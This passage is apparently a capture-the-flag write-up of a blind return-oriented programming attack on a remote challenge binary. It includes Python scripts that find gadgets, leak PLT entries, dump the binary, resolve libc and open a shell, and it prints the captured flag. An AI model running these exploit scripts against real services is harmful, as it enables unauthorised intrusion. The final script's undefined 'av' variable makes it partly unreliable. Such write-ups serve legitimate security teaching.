[0x4006c2] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xc2\x06@What is your name ?\n>>> '
[0x4006c7] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xc7\x06@What is your name ?\n>>> '
[0x4006cc] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcc\x06@Bye!\n'
[0x4006d1] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xd1\x06@\x84(\xad\xfb\n'
[0x4006d6] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xd6\x06@'
[0x4006db] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xdb\x06@'
[0x4006e2] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe2\x06@'
[0x4006e3] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe3\x06@'
[0x4006e5] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe5\x06@'
[0x4006e6] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x06@'
[0x40073b] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;\x07@Hello you.\nWhat is your name ?\n>>> '
[0x400742] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaB\x07@'
[0x400743] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaC\x07@'
[0x400758] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX\x07@'
If we read carefully, we can notice the [0x400668] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah\x06@>>> '
gadget.
It’s a very good stop gadget because it’s the only gadget which prints: Thanks + padding + return_address_upto_null_byte + >>>
.
And so for our attack we will use it.
Brop gadget
Since we got the stop gadget, everything is easier. We just have to scan the .text of the remote binary to find the brop gadget which is basically the end of the csu in most of the binaries. It’s easy to find because it’s a pop of six qword like that:
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
retn
So we use a probe + trap * 6 + stop + trap*20
payload to find these kinf od gadgets.
And so here is the script:
def unpadd(s):
return s.split(b"\x00")[0]
def is_stop(s, ip, padding):
return (ip not in STOP_GADGETS) and (s == b"Thanks " + padding + unpadd(p64(ip)) + b">>> ")
def try_jmp(s):
while True:
try:
io = start()
io.write(s)
resp = io.recv(500, timeout=30.0)[35:]
break
except:
print(f"STOP: {sys.exc_info()[0]}")
resp = -1
break
return resp
def find_brop(padding):
base = 0x400000
for i in range(0, 0x2000):
buf = padding + p64(base + i) + p64(0xdeadbeef) * 6 + p64(STOP_GADGETS[0])
resp = try_jmp(buf)
if is_stop(resp, base+i, padding):
print(f"Output: {resp}, leak: {hex(int.from_bytes(p64(base + i), 'little'))}")
break
if not i % 35:
print(f"_ - {hex(i)}")
return base + i
find_brop("a"*40)
Which returns:
$ ./solve.py
_ - 0x0
_ - 0x23
_ - 0x46
_ - 0x69
_ - 0x8c
_ - 0xaf
_ - 0xd2
_ - 0xf5
_ - 0x118
_ - 0x13b
_ - 0x15e
_ - 0x181
_ - 0x1a4
_ - 0x1c7
_ - 0x1ea
_ - 0x20d
_ - 0x230
_ - 0x253
_ - 0x276
_ - 0x299
_ - 0x2bc
_ - 0x2df
_ - 0x302
_ - 0x325
_ - 0x348
_ - 0x36b
_ - 0x38e
_ - 0x3b1
_ - 0x3d4
_ - 0x3f7
_ - 0x41a
_ - 0x43d
_ - 0x460
_ - 0x483
_ - 0x4a6
_ - 0x4c9
_ - 0x4ec
_ - 0x50f
_ - 0x532
_ - 0x555
_ - 0x578
_ - 0x59b
_ - 0x5be
_ - 0x5e1
_ - 0x604
_ - 0x627
_ - 0x64a
_ - 0x66d
_ - 0x690
_ - 0x6b3
_ - 0x6d6
_ - 0x6f9
_ - 0x71c
Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:\x07@>>> ', leak: 0x40073a
Since we got this gadget we can control rdi
and rsi
because of some misaligned instructions !
Procedure linkage table (PLT)
The next step would be to leak the PLT to see if there is a puts, printf, or write functions. To find the PLT there is three rules:
- The addresses of each stub are 16 bytes aligned
- If we jmp one time on a candidate we can check it’s a PLT entry by jumping at
entry+6
which is the address of the slowpath jump in the GOT. And so the behaviour should be the same. - We can give arguments like valid pointers in
rdi
andrsi
to identify functions like puts, strcmp etc.
I used so a payload’s structure like this: padding + POP_RDI + 0x400000 + POP_RSI_R15 + 0x400000 + probe + stop + trap
That’s how I developped this function:
POP_RDI = CSU_POP+0x9
POP_RSI_R15 = CSU_POP+0x7
def unpadd(s):
return s.split(b"\x00")[0]
def is_stop(s, ip, padding):
return (ip not in STOP_GADGETS) and (s == b"Thanks " + padding + unpadd(p64(ip)) + b">>> ")
def try_jmp(s):
while True:
try:
io = start()
io.write(s)
resp = io.recv(500, timeout=30.0)[35:]
break
except:
print(f"STOP: {sys.exc_info()[0]}")
resp = -1
break
return resp
def find_plt(padding):
base = 0x400000
s = 0
for i in range(0x0, 0x3000, 0x10):
resp1 = try_jmp(padding + p64(POP_RDI) + p64(0x400000) + p64(POP_RSI_R15) + p64(0x400000)*2 + p64(base+i) + p64(STOP_GADGETS[0]) + p64(0xdeadbeef)) # I used the base address because it's an recognizable pattern
if is_stop(resp1, base+i, padding):
print(f"Output: {resp1.hex()}, leak: {hex(int.from_bytes(p64(base + i), 'little'))}")
elif len(resp1):
print(f"[{hex(base+i)}] Out: {resp1.hex()}")
And we got this:
$ ./solve.py
[0x400500] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307407f454c460201010a3e3e3e20
[0x400510] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307407f454c460201013e3e3e20
[0x400520] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20
[0x400570] Out: 5468616e6b73204141414141414141414141414141414141414141414141414141414141414141414141414141414143074048656c6c6f20796f752e0a5768617420697320796f7572206e616d65203f0a3e3e3e20
[0x4005d0] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20
[0x400610] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20
[0x400630] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20
[0x400640] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20
[0x4006e0] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20
[0x400750] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20
Awesome ! We got a leak of the binary in two gadgets !
Leaking the binary
Since we can leak an arbitrary location it’s really easier !
We can see that the patter which leaks is like: Thanks + padding + unpadd(p64(POP_RDI)) + leak_upto_null_byte
.
So we can leak all the binary from the base address:
STOP_GADGETS = [0x400668]
POP_RDI = CSU_POP+0x9
POP_RSI_R15 = CSU_POP+0x7
def unpadd(s):
return s.split(b"\x00")[0]
def try_jmp(s):
while True:
try:
io = start()
io.write(s)
resp = io.recv(500, timeout=30.0)[35:]
break
except:
print(f"STOP: {sys.exc_info()[0]}")
resp = -1
break
return resp
def dump_binary(padding, base):
gadget_leak = 0x400510
i = 0
buf = b""
pattern = b"Thanks " + padding + unpadd(p64(POP_RDI))
f = open("leet_dump.bin", "ab")
while base+i < 0x400fff: # guessed end to the binary .text
resp1 = try_jmp(padding + p64(POP_RDI) + p64(base+i) + p64(POP_RSI_R15) + p64(0x0)*2 + p64(gadget_leak) + p64(STOP_GADGETS[0]) + p64(0xdeadbeef))
if not len(resp1): # somtimes there is no repsonse
continue
leak = resp1[len(pattern):resp1.index(b'>>> ')] # get the leaked part
if not len(leak): # if no leak it means it's a null byte
buf += b"\x00"
print(f"[*] recv @ {hex(base+i)}: 0x00")
i += 1
else: # else we got raw data leaked
buf += leak
print(f"[*] recv @ {hex(base+i)}: {leak.hex()}")
i = i + len(leak)
if len(buf) >= 0x100: # we write bytes to the file each 0x100 bytes
f.write(buf)
buf = b""
print("Buffering ..")
Because of my connection I have to relaunch the script with a different base address to dump the whole binary but anyway, it works !
$ ./solve.py
[skip]
[*] recv @ 0x400fff: 0x00
STOP: <class 'KeyboardInterrupt'>
$ ./solve.py
Since we dumped the binary we just need to build a classic ropchain by leaking the address of FFLUSH
in the GOT and then compute the base address of the libc. It’s interesting to see that we don’t know what libc it is. So we can use this to find from the offset of fflush and read, the right version. Which gives:
__libc_start_main 0x021a50 0x0
system 0x041490 0x1fa40
fflush 0x069ab0 0x48060
open 0x0db950 0xb9f00
read 0x0dbb90 0xba140
write 0x0dbbf0 0xba1a0
str_bin_sh 0x1633e8 0x141998
Put everything together
I’ll no detail a lot the final part because it’s a basic rop payload. But since we got the right gadgets from the leaked binary, it’s very easy. We have to notice that this exploit is not 100% reiable, if the address of FFLUSH in the GOT has a NULL byte the exploit will not work. Here is the final function:
STOP_GADGETS = [0x400668]
CSU_POP = 0x40073a
POP_RDI = CSU_POP+0x9
POP_RSI_R15 = CSU_POP+0x7
GADGET_LEAK = 0x400510
FFLUSH_GOT = 0x400000 + 0x200FF0
FFLUSH_OFFSET = 0x069ab0
OFFT_BINSH = 0x1633e8
SYSTEM = 0x041490
def try_jmp_flow(s):
while True:
try:
io = start()
io.write(s)
resp = io.recv(500, timeout=30.0)[35:]
break
except:
print(f"STOP: {sys.exc_info()[0]}")
resp = -1
break
return resp, io
def flow(padding):
payload = padding
payload += p64(POP_RDI)
payload += p64(FFLUSH_GOT)
payload += p64(POP_RSI_R15) + p64(0xffffffffffffffff)*2
payload += p64(GADGET_LEAK)
payload += p64(0x400000 + 0x656) # ret2main
pattern = b"Thanks " + padding + unpadd(p64(POP_RDI))
resp_tmp, io = try_jmp_flow(payload)
print(resp_tmp)
leak_fflush = int.from_bytes(resp_tmp[len(pattern):resp_tmp.index(b'What is')], 'little')
libc = leak_fflush - FFLUSH_OFFSET
print(f"libc @ {hex(libc)}")
payload = padding
payload += p64(POP_RDI)
payload += p64(libc + OFFT_BINSH)
payload += p64(libc + SYSTEM)
io.send(payload)
io.interactive()
flow("a"*40)
And when we run it, we got a shell yeeeeeah !
$ ./solve.py
b'Thanks AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC\x07@\xb0J\xa2\xd7<\x7fWhat is your name ?\n>>> '
libc @ 0x7f3cd79bb000
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag
FCSC{3bf7861167a72f521dd70f704d471bf2be7586b635b40d3e5d50b989dc010f28}
Here is the final script:
#!/usr/bin/python3
from pwn import *
STOP_GADGETS = [0x400668]
CSU_POP = 0x40073a
POP_RDI = CSU_POP+0x9
POP_RSI_R15 = CSU_POP+0x7
GADGET_LEAK = 0x400510
FFLUSH_GOT = 0x400000 + 0x200FF0
FFLUSH_OFFSET = 0x069ab0
OFFT_BINSH = 0x1633e8
SYSTEM = 0x041490
"""
__libc_start_main 0x021a50 0x0
system 0x041490 0x1fa40
fflush 0x069ab0 0x48060
open 0x0db950 0xb9f00
read 0x0dbb90 0xba140
write 0x0dbbf0 0xba1a0
str_bin_sh 0x1633e8 0x141998
"""
context.log_level = 'error'
def start():
return remote("challenges2.france-cybersecurity-challenge.fr", 4008)
def padd(s):
return s + b"\x00"*(8-(len(s) % 8))
def unpadd(s):
return s.split(b"\x00")[0]
def is_crash(s):
return not (len(s) == 0)
def is_stop(s, ip, padding):
return (ip not in STOP_GADGETS) and (s == b"Thanks " + padding + unpadd(p64(ip)) + b">>> ")
def jmp(av):
io = start()
io.write(av)
return io.recvall(timeout=5.0)
def find_padding(p=b""):
padding = p + b"\x90"
print(f"[*] sending: {padding}")
resp = jmp(padding)
print(f"[*] recv: {resp}")
while b"Hello you.\nWhat is your name ?\n>>> Thanks " + padding in resp:
return find_padding(p=padding)
return padding[:len(padding)-1] # minus one char because we do not want that padding overwrite the return address
def leak2(padding: str, leak1=b""):
for i in range(256):
buf = padding + leak1 + p8(i)
resp = try_jmp(buf)
# print(f"Trying on {hex(int.from_bytes(leak1+p8(i), 'little') << (64 - counter*8))}")
if len(resp):
print(f"[{hex(int.from_bytes(padd(leak1+p8(i)), 'little'))}] Output: {resp}")
if len(leak1) < 8:
leak2(padding, leak1=leak1+p8(i))
else:
return leak1
return leak1
def leak2_opti(padding: str):
base = 0x400000
for i in range(0x2000):
buf = padding + p64(base+i)
resp = try_jmp(buf)
# print(f"Trying on {hex(int.from_bytes(leak1+p8(i), 'little') << (64 - counter*8))}")
if len(resp):
print(f"[{hex(base+i)}] Output: {resp}")
continue
return leak1
def find_brop(padding):
base = 0x400000
for i in range(0, 0x2000):
buf = padding + p64(base + i) + p64(0xdeadbeef) * 6 + p64(STOP_GADGETS[0])
resp = try_jmp(buf)
if is_stop(resp, base+i, padding):
print(f"Output: {resp}, leak: {hex(int.from_bytes(p64(base + i), 'little'))}")
break
if not i % 35:
print(f"_ - {hex(i)}")
return base + i
def dump_binary(padding, base):
gadget_leak = 0x400510
i = 0
buf = b""
pattern = b"Thanks " + padding + unpadd(p64(POP_RDI))
f = open("leet_dump.bin", "ab")
while base+i < 0x400fff:
resp1 = try_jmp(padding + p64(POP_RDI) + p64(base+i) + p64(POP_RSI_R15) + p64(0x0)*2 + p64(gadget_leak) + p64(STOP_GADGETS[0]) + p64(0xdeadbeef))
if not len(resp1):
continue
leak = resp1[len(pattern):resp1.index(b'>>> ')]
if not len(leak):
buf += b"\x00"
print(f"[*] recv @ {hex(base+i)}: 0x00")
i += 1
else:
buf += leak
print(f"[*] recv @ {hex(base+i)}: {leak.hex()}")
i = i + len(leak)
if len(buf) >= 0x100:
f.write(buf)
buf = b""
print("Buffering ..")
def find_plt(padding):
base = 0x400000
s = 0
for i in range(0x0, 0x3000, 0x10):
resp1 = try_jmp(padding + p64(POP_RDI) + p64(0x400000) + p64(POP_RSI_R15) + p64(0x400000)*2 + p64(base+i) + p64(STOP_GADGETS[0]) + p64(0xdeadbeef))
if is_stop(resp1, base+i, padding):
print(f"Output: {resp1.hex()}, leak: {hex(int.from_bytes(p64(base + i), 'little'))}")
elif len(resp1):
print(f"[{hex(base+i)}] Out: {resp1.hex()}")
def try_jmp(s):
while True:
try:
io = start()
io.write(s)
resp = io.recv(500, timeout=30.0)[35:]
break
except:
print(f"STOP: {sys.exc_info()[0]}")
resp = -1
break
return resp
def try_jmp_flow(s):
while True:
try:
io = start()
io.write(s)
resp = io.recv(500, timeout=30.0)[35:]
break
except:
print(f"STOP: {sys.exc_info()[0]}")
resp = -1
break
return resp, io
def flow(padding):
payload = av
payload += p64(POP_RDI)
payload += p64(FFLUSH_GOT)
payload += p64(POP_RSI_R15) + p64(0xffffffffffffffff)*2
payload += p64(GADGET_LEAK)
payload += p64(0x400000 + 0x656) # ret2main
pattern = b"Thanks " + padding + unpadd(p64(POP_RDI))
resp_tmp, io = try_jmp_flow(payload)
print(resp_tmp)
leak_fflush = int.from_bytes(resp_tmp[len(pattern):resp_tmp.index(b'What is')], 'little')
libc = leak_fflush - FFLUSH_OFFSET
print(f"libc @ {hex(libc)}")
payload = av
payload += p64(POP_RDI)
payload += p64(libc + OFFT_BINSH)
payload += p64(libc + SYSTEM)
io.send(payload)
io.interactive()
flow("a"*40)
# FCSC{3bf7861167a72f521dd70f704d471bf2be7586b635b40d3e5d50b989dc010f28}
Thanks to the creator of this very interesting challenge !